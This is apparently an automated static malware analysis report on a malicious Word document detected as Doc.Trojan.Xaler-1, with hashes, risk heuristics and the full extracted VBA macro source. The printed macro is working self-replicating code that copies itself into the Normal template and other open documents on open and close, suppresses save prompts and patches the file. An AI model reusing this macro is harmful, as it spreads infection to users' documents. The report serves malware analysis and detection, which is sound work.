Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 191acc53335e7a4b…

MALICIOUS

Office (OLE)

66.5 KB Created: 2012-04-10 08:49:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 715cc7141172b27b7baaaeadc297f320 SHA-1: b17c1c9ae9f5ed6bf28da6ad152d053ce49bc18b SHA-256: 191acc53335e7a4bf99936ece6a5a4a5e036fbf64a8b739249eede216bd57fa1
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to export its own code to a temporary file, modify it, and then re-import it into the document and potentially the Normal template. This behavior is indicative of evasion or persistence techniques. The ClamAV detection as 'Doc.Trojan.Xaler-1' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2192 bytes
SHA-256: 1cdfe0607b2f73e1374c8201bb1bd7cb966537e5ffc5dcce413fbefa9c609104
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Close #1
End If
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.